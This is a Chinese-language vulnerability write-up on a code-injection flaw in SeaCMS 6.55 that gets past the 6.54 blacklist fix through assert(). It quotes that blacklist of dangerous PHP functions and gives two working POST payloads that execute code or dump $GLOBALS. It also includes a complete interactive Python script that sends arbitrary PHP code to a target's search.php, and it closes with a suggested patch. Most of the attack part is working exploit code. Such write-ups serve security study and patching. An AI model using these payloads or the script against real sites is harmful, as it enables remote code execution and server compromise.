漏洞概况

seacms 6.54中关于代码注入给出的修复是用黑名单过滤一些常用的危险命令。

1
2
3
4
foreach($iar as $v){
$iarok[] = str_ireplace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','_SERVER','assert','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
}
$iar = $iarok;

可以发现,还是有一些命令没有在黑名单中,比如assert()函数还是可以利用的,assert()函数中传递的函数如果是字符串,则这个字符串可以被当作php代码来执行。

assert()函数的具体用法参考: https://www.php.net/manual/zh/function.assert.php

assert()语法:

1
assert ( mixed $assertion [, Throwable $exception ] ) : bool

4

环境搭建

  • seacms 6.55
  • php 5.4.45
  • Windows 7 (64) + Mysql 5.6 + Apache

漏洞分析

PoC :

1
2
3
4
5
// URL
http://192.168.247.134/seacms655/upload/search.php?phpinfo();

// POST
searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&ver=[QUERY_STRING]));/*

关于这个POC要先了解一下php中的$_SERVER服务器变量:

http://localhost/xxx/index.php?a=222&b=333

$_SERVER['QUERY_STRING'] = ‘a=222&b=333’

$_SERVER['REQUEST_URI'] = ‘/xxx/index.php?a=222&b=333’

$_SERVER['SCRIPT_NAME'] = ‘/xxx/index.php’

$_SERVER['PHP_SELF'] = ‘/xxx/index.php’

经过替换后,eval()执行的函数就是

1
2
if(assert($_SERVER[QUERY_STRING]));/*,海洋CMS" />
<meta name=="description" content){$ifFlag=true;}else{$ifFlag=false;}

1

PoC 2:

1
2
3
4
5
// URL
http://192.168.247.134/seacms655/upload/search.php

// POST
searchtype=5&searchword={if{searchpage:year}&year=:p{searchpage:area}}&area=r{searchpage:letter}&letter=int{searchpage:lang}&yuyan=_r({searchpage:jq}&jq={searchpage:ver}&ver=$GLOBALS)

2

python 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__author__ = 'Bantian'

import sys
import requests

def help():
print("Usage : ")
print(" python %s [URL]" % sys.argv[0])
print("Example : ")
print(" python %s http://example.com/search.php" % (sys.argv[0]))
print("Type command 'q' for exit")

def poc():
help()
if not sys.argv[1].endswith("search.php"):
print("[+] Please make sure url end with search.php")
else:
while 1:
payload = input("-> ")
url = sys.argv[1] + "?%s" % payload
if payload != "q":
postdata = {
"searchtype" : "5",
"searchword" : "{if{searchpage:year}",
"year" : ":as{searchpage:area}}",
"area" : "s{searchpage:letter}",
"letter" : "ert{searchpage:lang}",
"yuyan" : "($_SE{searchpage:jq}",
"jq" : "RVER{searchpage:ver}",
"ver" : "[QUERY_STRING]));/*",
}
r = requests.post(url = url, data = postdata)
idx = r.text.find("<!DOCTYPE html>")
print(r.text[:idx])
else:
exit()

if __name__ == "__main__":
try:
poc()
except Exception as e:
print("It only works for seacms v6.55!")

测试:

5

修复方案

patch

freebuf里的师傅给出的建议是在search.php文件的echoSearchPage()函数中添加一条过滤语句:

1
if(strpos($searchword,'{searchpage:')) exit;

目的是让所有searchpage标签的替换都失效。

参考

  1. https://www.freebuf.com/vuls/150303.html